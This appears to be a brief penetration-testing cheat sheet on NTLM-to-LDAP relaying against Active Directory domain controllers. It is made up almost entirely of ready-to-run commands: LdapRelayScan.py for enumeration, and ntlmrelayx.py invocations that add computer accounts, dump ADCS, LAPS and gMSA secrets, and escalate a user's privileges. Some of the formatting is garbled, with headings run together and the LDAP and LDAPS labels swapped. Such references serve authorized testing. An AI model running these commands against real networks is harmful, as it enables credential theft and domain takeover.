LDAP Relaying
Enumeration
LDAPRelayScan
# Generic usage of LdapRelayScan.py
LdapRelayScan.py -u $user -p $password -dc-ip $dcipaddress -method BOTHExploitation
# Relay to LDAP
ntlmrelayx.py -t ldaps://$dcip --add-computer $computername
# Relay to LDAPS
ntlmrelayx.py -t ldap://$dcip --add-computer $computername ntlmrelayx -t "ldap://$dcip" --dump-adcs --dump-laps --dump-gmsa# Relay authentication over LDAPS and attempt to escalate privileges
ntlmrelayx.py -t ldaps://$dcip --escalate-user $usernameLAReferencesReferences
Last updated